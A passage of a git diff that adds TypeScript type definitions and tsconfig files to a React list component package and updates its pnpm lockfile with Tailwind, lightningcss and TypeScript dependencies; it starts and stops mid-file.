ReactListFilters = ReactListFilters, +> = { + setPage: (value: number, addContext?: Record) => void; + setPerPage: (value: number) => void; + setSearch: (value: string) => void; + setSort: (args: { by: string; order: ReactListSortOrder }) => void; + loadMore: () => void; + clearFilters: () => void; + refresh: (addContext?: Record) => void; + setFilters: (filters: TFilters) => void; + updateAttr: (attrName: string, settingKey: string, value: unknown) => void; + updateItemById: (item: Partial, id: ReactListItemId) => void; + setSelection: (selection: ReactListItemId[]) => void; +}; + +export type ReactListListState< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = { + data: TItem[]; + response: ReactListResponse | null; + error: Error | null; + count: number; + selection: ReactListItemId[]; + pagination: ReactListPaginationState; + loader: ReactListLoaderState; + sort: ReactListSort; + hasActiveFilters: boolean; + search: string; + filters: TFilters; + attrs: ReactListAttribute[]; + attrSettings: ReactListAttrSettings; + isEmpty: boolean; + // Actions are appended by the main `ReactList` component. +} & ReactListActions; + +export type ReactListContextValue< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = { + requestHandler: ReactListRequestHandler; + stateManager: ReactListStateManager; + listState: ReactListListState; + setListState: React.Dispatch>>; +}; + diff --git a/packages/react-list/src/types/react-list.ts b/packages/react-list/src/types/react-list.ts new file mode 100644 index 0000000..4ec6d6c --- /dev/null +++ b/packages/react-list/src/types/react-list.ts @@ -0,0 +1,39 @@ +import type { ReactNode } from 'react'; + +import type { + ReactListAttribute, + ReactListFilters, + ReactListItem, + ReactListListState, + ReactListResponse, + ReactListSortOrder, +} from './list-provider'; + +export type ReactListPaginationMode = 'pagination' | 'loadMore'; + +export type ReactListProps< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = { + initialItems?: TItem[]; + children?: + | ReactNode + | ((scope: ReactListListState) => ReactNode); + + endpoint: string; + page?: number; + perPage?: number; + sortBy?: string; + sortOrder?: ReactListSortOrder; + count?: number; + search?: string; + filters?: TFilters; + attrs?: Array; + version?: number; + paginationMode?: ReactListPaginationMode; + meta?: Record; + onResponse?: (res: ReactListResponse) => void; + afterPageChange?: (res: ReactListResponse) => void; + afterLoadMore?: (res: ReactListResponse) => void; +}; + diff --git a/packages/react-list/src/utils.js b/packages/react-list/src/utils.ts similarity index 100% rename from packages/react-list/src/utils.js rename to packages/react-list/src/utils.ts diff --git a/packages/react-list/tsconfig.build.json b/packages/react-list/tsconfig.build.json new file mode 100644 index 0000000..b96c8ea --- /dev/null +++ b/packages/react-list/tsconfig.build.json @@ -0,0 +1,18 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "ESNext", + "moduleResolution": "Bundler", + "jsx": "react-jsx", + "allowJs": true, + "checkJs": false, + "declaration": true, + "emitDeclarationOnly": true, + "declarationMap": true, + "outDir": "dist/types", + "strict": false, + "skipLibCheck": true + }, + "include": ["src/**/*"], + "exclude": ["dist", "node_modules"] +} diff --git a/packages/react-list/tsconfig.json b/packages/react-list/tsconfig.json new file mode 100644 index 0000000..5c29504 --- /dev/null +++ b/packages/react-list/tsconfig.json @@ -0,0 +1,6 @@ +{ + "extends": "./tsconfig.build.json", + "compilerOptions": { + "noEmit": true + } +} diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 0ee8495..a620d7b 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -12,7 +12,7 @@ importers: devDependencies: vitepress: specifier: ^2.0.0-alpha.15 - version: 2.0.0-alpha.15(axios@1.11.0)(postcss@8.5.6) + version: 2.0.0-alpha.15(axios@1.11.0)(jiti@2.6.1)(lightningcss@1.32.0)(postcss@8.5.8)(typescript@5.9.3) apps/playground: dependencies: @@ -35,6 +35,9 @@ importers: '@eslint/js': specifier: ^9.22.0 version: 9.25.1 + '@tailwindcss/postcss': + specifier: ^4.2.2 + version: 4.2.2 '@types/react': specifier: ^19.0.10 version: 19.1.2 @@ -43,22 +46,74 @@ importers: version: 19.1.2(@types/react@19.1.2) '@vitejs/plugin-react': specifier: ^4.3.4 - version: 4.4.1(vite@6.3.3) + version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) + autoprefixer: + specifier: ^10.4.27 + version: 10.4.27(postcss@8.5.8) eslint: specifier: ^9.22.0 - version: 9.25.1 + version: 9.25.1(jiti@2.6.1) eslint-plugin-react-hooks: specifier: ^5.2.0 - version: 5.2.0(eslint@9.25.1) + version: 5.2.0(eslint@9.25.1(jiti@2.6.1)) eslint-plugin-react-refresh: specifier: ^0.4.19 - version: 0.4.20(eslint@9.25.1) + version: 0.4.20(eslint@9.25.1(jiti@2.6.1)) globals: specifier: ^16.0.0 version: 16.0.0 + postcss: + specifier: ^8.5.8 + version: 8.5.8 + tailwindcss: + specifier: ^4.2.2 + version: 4.2.2 vite: specifier: ^6.3.1 - version: 6.3.3 + version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) + + apps/playground-typescript: + dependencies: + '@7span/react-list': + specifier: workspace:* + version: link:../../packages/react-list + '@iconify/react': + specifier: ^5.2.1 + version: 5.2.1(react@19.1.0) + react: + specifier: ^19.0.0 + version: 19.1.0 + react-dom: + specifier: ^19.0.0 + version: 19.1.0(react@19.1.0) + devDependencies: + '@tailwindcss/postcss': + specifier: ^4.2.2 + version: 4.2.2 + '@types/react': + specifier: ^19.0.10 + version: 19.2.14 + '@types/react-dom': + specifier: ^19.0.4 + version: 19.2.3(@types/react@19.2.14) + '@vitejs/plugin-react': + specifier: ^4.3.4 + version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) + autoprefixer: + specifier: ^10.4.27 + version: 10.4.27(postcss@8.5.8) + postcss: + specifier: ^8.5.8 + version: 8.5.8 + tailwindcss: + specifier: ^4.2.2 + version: 4.2.2 + typescript: + specifier: ^5.9.3 + version: 5.9.3 + vite: + specifier: ^6.3.1 + version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) packages/react-list: dependencies: @@ -69,15 +124,28 @@ importers: specifier: ^18.2.0 || ^19.0.0 version: 19.1.0(react@19.1.0) devDependencies: + '@types/react': + specifier: ^19.1.13 + version: 19.2.14 + '@types/react-dom': + specifier: ^19.1.9 + version: 19.2.3(@types/react@19.2.14) '@vitejs/plugin-react': specifier: ^4.3.4 - version: 4.4.1(vite@6.3.3) + version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) + typescript: + specifier: ^5.9.3 + version: 5.9.3 vite: specifier: ^6.3.1 - version: 6.3.3 + version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) packages: + '@alloc/quick-lru@5.2.0': + resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==} + engines: {node: '>=10'} + '@ampproject/remapping@2.3.0': resolution: {integrity: sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==} engines: {node: '>=6.0.0'} @@ -407,6 +475,9 @@ packages: resolution: {integrity: sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==} engines: {node: '>=6.0.0'} + '@jridgewell/remapping@2.3.5': + resolution: {integrity: sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==} + '@jridgewell/resolve-uri@3.1.2': resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} engines: {node: '>=6.0.0'} @@ -415,9 +486,6 @@ packages: resolution: {integrity: sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==} engines: {node: '>=6.0.0'} - '@jridgewell/sourcemap-codec@1.5.0': - resolution: {integrity: sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==} - '@jridgewell/sourcemap-codec@1.5.5': resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} @@ -661,6 +729,94 @@ packages: '@shikijs/vscode-textmate@10.0.2': resolution: {integrity: sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==} + '@tailwindcss/node@4.2.2': + resolution: {integrity: sha512-pXS+wJ2gZpVXqFaUEjojq7jzMpTGf8rU6ipJz5ovJV6PUGmlJ+jvIwGrzdHdQ80Sg+wmQxUFuoW1UAAwHNEdFA==} + + '@tailwindcss/oxide-android-arm64@4.2.2': + resolution: {integrity: sha512-dXGR1n+P3B6748jZO/SvHZq7qBOqqzQ+yFrXpoOWWALWndF9MoSKAT3Q0fYgAzYzGhxNYOoysRvYlpixRBBoDg==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [android] + + '@tailwindcss/oxide-darwin-arm64@4.2.2': + resolution: {integrity: sha512-iq9Qjr6knfMpZHj55/37ouZeykwbDqF21gPFtfnhCCKGDcPI/21FKC9XdMO/XyBM7qKORx6UIhGgg6jLl7BZlg==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [darwin] + + '@tailwindcss/oxide-darwin-x64@4.2.2': + resolution: {integrity: sha512-BlR+2c3nzc8f2G639LpL89YY4bdcIdUmiOOkv2GQv4/4M0vJlpXEa0JXNHhCHU7VWOKWT/CjqHdTP8aUuDJkuw==} + engines: {node: '>= 20'} + cpu: [x64] + os: [darwin] + + '@tailwindcss/oxide-freebsd-x64@4.2.2': + resolution: {integrity: sha512-YUqUgrGMSu2CDO82hzlQ5qSb5xmx3RUrke/QgnoEx7KvmRJHQuZHZmZTLSuuHwFf0DJPybFMXMYf+WJdxHy/nQ==} + engines: {node: '>= 20'} + cpu: [x64] + os: [freebsd] + + '@tailwindcss/oxide-linux-arm-gnueabihf@4.2.2': + resolution: {integrity: sha512-FPdhvsW6g06T9BWT0qTwiVZYE2WIFo2dY5aCSpjG/S/u1tby+wXoslXS0kl3/KXnULlLr1E3NPRRw0g7t2kgaQ==} + engines: {node: '>= 20'} + cpu: [arm] + os: [linux] + + '@tailwindcss/oxide-linux-arm64-gnu@4.2.2': + resolution: {integrity: sha512-4og1V+ftEPXGttOO7eCmW7VICmzzJWgMx+QXAJRAhjrSjumCwWqMfkDrNu1LXEQzNAwz28NCUpucgQPrR4S2yw==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [linux] + + '@tailwindcss/oxide-linux-arm64-musl@4.2.2': + resolution: {integrity: sha512-oCfG/mS+/+XRlwNjnsNLVwnMWYH7tn/kYPsNPh+JSOMlnt93mYNCKHYzylRhI51X+TbR+ufNhhKKzm6QkqX8ag==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [linux] + + '@tailwindcss/oxide-linux-x64-gnu@4.2.2': + resolution: {integrity: sha512-rTAGAkDgqbXHNp/xW0iugLVmX62wOp2PoE39BTCGKjv3Iocf6AFbRP/wZT/kuCxC9QBh9Pu8XPkv/zCZB2mcMg==} + engines: {node: '>= 20'} + cpu: [x64] + os: [linux] + + '@tailwindcss/oxide-linux-x64-musl@4.2.2': + resolution: {integrity: sha512-XW3t3qwbIwiSyRCggeO2zxe3KWaEbM0/kW9e8+0XpBgyKU4ATYzcVSMKteZJ1iukJ3HgHBjbg9P5YPRCVUxlnQ==} + engines: {node: '>= 20'} + cpu: [x64] + os: [linux] + + '@tailwindcss/oxide-wasm32-wasi@4.2.2': + resolution: {integrity: sha512-eKSztKsmEsn1O5lJ4ZAfyn41NfG7vzCg496YiGtMDV86jz1q/irhms5O0VrY6ZwTUkFy/EKG3RfWgxSI3VbZ8Q==} + engines: {node: '>=14.0.0'} + cpu: [wasm32] + bundledDependencies: + - '@napi-rs/wasm-runtime' + - '@emnapi/core' + - '@emnapi/runtime' + - '@tybys/wasm-util' + - '@emnapi/wasi-threads' + - tslib + + '@tailwindcss/oxide-win32-arm64-msvc@4.2.2': + resolution: {integrity: sha512-qPmaQM4iKu5mxpsrWZMOZRgZv1tOZpUm+zdhhQP0VhJfyGGO3aUKdbh3gDZc/dPLQwW4eSqWGrrcWNBZWUWaXQ==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [win32] + + '@tailwindcss/oxide-win32-x64-msvc@4.2.2': + resolution: {integrity: sha512-1T/37VvI7WyH66b+vqHj/cLwnCxt7Qt3WFu5Q8hk65aOvlwAhs7rAp1VkulBJw/N4tMirXjVnylTR72uI0HGcA==} + engines: {node: '>= 20'} + cpu: [x64] + os: [win32] + + '@tailwindcss/oxide@4.2.2': + resolution: {integrity: sha512-qEUA07+E5kehxYp9BVMpq9E8vnJuBHfJEC0vPC5e7iL/hw7HR61aDKoVoKzrG+QKp56vhNZe4qwkRmMC0zDLvg==} + engines: {node: '>= 20'} + + '@tailwindcss/postcss@4.2.2': + resolution: {integrity: sha512-n4goKQbW8RVXIbNKRB/45LzyUqN451deQK0nzIeauVEqjlI49slUlgKYJM2QyUzap/PcpnS7kzSUmPb1sCRvYQ==} + '@types/babel__core@7.20.5': resolution: {integrity: sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==} @@ -702,9 +858,17 @@ packages: peerDependencies: '@types/react': ^19.0.0 + '@types/react-dom@19.2.3': + resolution: {integrity: sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==} + peerDependencies: + '@types/react': ^19.2.0 + '@types/react@19.1.2': resolution: {integrity: sha512-oxLPMytKchWGbnQM9O7D67uPa9paTNxO7jVoNMXgkkErULBPhPARCfkKL9ytcIJJRGjbsVwW4ugJzyFFvm/Tiw==} + '@types/react@19.2.14': + resolution: {integrity: sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==} + '@types/unist@3.0.3': resolution: {integrity: sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==} @@ -843,12 +1007,24 @@ packages: asynckit@0.4.0: resolution: {integrity: sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==} + autoprefixer@10.4.27: + resolution: {integrity: sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA==} + engines: {node: ^10 || ^12 || >=14} + hasBin: true + peerDependencies: + postcss: ^8.1.0 + axios@1.11.0: resolution: {integrity: sha512-1Lx3WLFQWm3ooKDYZD1eXmoGO9fxYQjrycfHFC8P0sCfQVXyROp0p9PFWBehewBOdCwHc+f/b8I0fMto5eSfwA==} balanced-match@1.0.2: resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + baseline-browser-mapping@2.10.9: + resolution: {integrity: sha512-OZd0e2mU11ClX8+IdXe3r0dbqMEznRiT4TfbhYIbcRPZkqJ7Qwer8ij3GZAmLsRKa+II9V1v5czCkvmHH3XZBg==} + engines: {node: '>=6.0.0'} + hasBin: true + birpc@2.9.0: resolution: {integrity: sha512-KrayHS5pBi69Xi9JmvoqrIgYGDkD6mcSe/i6YKi3w5kekCLzrX4+nawcXqrj2tIp50Kw/mT/s3p+GVK0A0sKxw==} @@ -860,6 +1036,11 @@ packages: engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} hasBin: true + browserslist@4.28.1: + resolution: {integrity: sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==} + engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} + hasBin: true + call-bind-apply-helpers@1.0.2: resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} engines: {node: '>= 0.4'} @@ -868,8 +1049,8 @@ packages: resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} engines: {node: '>=6'} - caniuse-lite@1.0.30001715: - resolution: {integrity: sha512-7ptkFGMm2OAOgvZpwgA4yjQ5SQbrNVGdRjzH0pBdy1Fasvcr+KAeECmbCAECzTuDuoX0FCY8KzUxjf9+9kfZEw==} + caniuse-lite@1.0.30001780: + resolution: {integrity: sha512-llngX0E7nQci5BPJDqoZSbuZ5Bcs9F5db7EtgfwBerX9XGtkkiO4NwfDDIRzHTTwcYC8vC7bmeUEPGrKlR/TkQ==} ccount@2.0.1: resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} @@ -915,6 +1096,9 @@ packages: csstype@3.1.3: resolution: {integrity: sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==} + csstype@3.2.3: + resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} + debug@4.4.0: resolution: {integrity: sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==} engines: {node: '>=6.0'} @@ -935,6 +1119,10 @@ packages: resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} engines: {node: '>=6'} + detect-libc@2.1.2: + resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} + engines: {node: '>=8'} + devlop@1.1.0: resolution: {integrity: sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==} @@ -945,6 +1133,13 @@ packages: electron-to-chromium@1.5.141: resolution: {integrity: sha512-qS+qH9oqVYc1ooubTiB9l904WVyM6qNYxtOEEGReoZXw3xlqeYdFr5GclNzbkAufWgwWLEPoDi3d9MoRwwIjGw==} + electron-to-chromium@1.5.321: + resolution: {integrity: sha512-L2C7Q279W2D/J4PLZLk7sebOILDSWos7bMsMNN06rK482umHUrh/3lM8G7IlHFOYip2oAg5nha1rCMxr/rs6ZQ==} + + enhanced-resolve@5.20.1: + resolution: {integrity: sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA==} + engines: {node: '>=10.13.0'} + entities@4.5.0: resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==} engines: {node: '>=0.12'} @@ -1091,6 +1286,9 @@ packages: resolution: {integrity: sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==} engines: {node: '>= 6'} + fraction.js@5.3.4: + resolution: {integrity: sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==} + fsevents@2.3.3: resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} @@ -1131,6 +1329,9 @@ packages: resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} engines: {node: '>= 0.4'} + graceful-fs@4.2.11: + resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} + has-flag@4.0.0: resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} engines: {node: '>=8'} @@ -1189,6 +1390,10 @@ packages: isexe@2.0.0: resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + jiti@2.6.1: + resolution: {integrity: sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==} + hasBin: true + js-tokens@4.0.0: resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} @@ -1222,6 +1427,76 @@ packages: resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==} engines: {node: '>= 0.8.0'} + lightningcss-android-arm64@1.32.0: + resolution: {integrity: sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [android] + + lightningcss-darwin-arm64@1.32.0: + resolution: {integrity: sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [darwin] + + lightningcss-darwin-x64@1.32.0: + resolution: {integrity: sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [darwin] + + lightningcss-freebsd-x64@1.32.0: + resolution: {integrity: sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [freebsd] + + lightningcss-linux-arm-gnueabihf@1.32.0: + resolution: {integrity: sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==} + engines: {node: '>= 12.0.0'} + cpu: [arm] + os: [linux] + + lightningcss-linux-arm64-gnu@1.32.0: + resolution: {integrity: sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [linux] + + lightningcss-linux-arm64-musl@1.32.0: + resolution: {integrity: sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [linux] + + lightningcss-linux-x64-gnu@1.32.0: + resolution: {integrity: sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [linux] + + lightningcss-linux-x64-musl@1.32.0: + resolution: {integrity: sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [linux] + + lightningcss-win32-arm64-msvc@1.32.0: + resolution: {integrity: sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [win32] + + lightningcss-win32-x64-msvc@1.32.0: + resolution: {integrity: sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [win32] + + lightningcss@1.32.0: + resolution: {integrity: sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==} + engines: {node: '>= 12.0.0'} + locate-path@6.0.0: resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==} engines: {node: '>=10'} @@ -1291,6 +1566,9 @@ packages: node-releases@2.0.19: resolution: {integrity: sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==} + node-releases@2.0.36: + resolution: {integrity: sha512-TdC8FSgHz8Mwtw9g5L4gR/Sh9XhSP/0DEkQxfEFXOpiul5IiHgHan2VhYYb6agDSfp4KuvltmGApc8HMgUrIkA==} + oniguruma-parser@0.12.1: resolution: {integrity: sha512-8Unqkvk1RYc6yq2WBYRj4hdnsAxVze8i7iPfQr8e4uSP3tRv0rpZcbGUDvxfQQcdwHt/e9PrMvGCsa8OqG9X3w==} @@ -1335,12 +1613,11 @@ packages: resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} engines: {node: '>=12'} - postcss@8.5.3: - resolution: {integrity: sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A==} - engines: {node: ^10 || ^12 || >=14} + postcss-value-parser@4.2.0: + resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} - postcss@8.5.6: - resolution: {integrity: sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==} + postcss@8.5.8: + resolution: {integrity: sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==} engines: {node: ^10 || ^12 || >=14} prelude-ls@1.2.1: @@ -1443,6 +1720,13 @@ packages: tabbable@6.3.0: resolution: {integrity: sha512-EIHvdY5bPLuWForiR/AN2Bxngzpuwn1is4asboytXtpTgsArc+WmSJKVLlhdh71u7jFcryDqB2A8lQvj78MkyQ==} + tailwindcss@4.2.2: + resolution: {integrity: sha512-KWBIxs1Xb6NoLdMVqhbhgwZf2PGBpPEiwOqgI4pFIYbNTfBXiKYyWoTsXgBQ9WFg/OlhnvHaY+AEpW7wSmFo2Q==} + + tapable@2.3.0: + resolution: {integrity: sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==} + engines: {node: '>=6'} + tinyglobby@0.2.13: resolution: {integrity: sha512-mEwzpUgrLySlveBwEVDMKk5B57bhLPYovRfPAXD5gA/98Opn0rCDj3GtLwFvCvH5RK9uPCExUROW5NjDwvqkxw==} engines: {node: '>=12.0.0'} @@ -1458,6 +1742,11 @@ packages: resolution: {integrity: 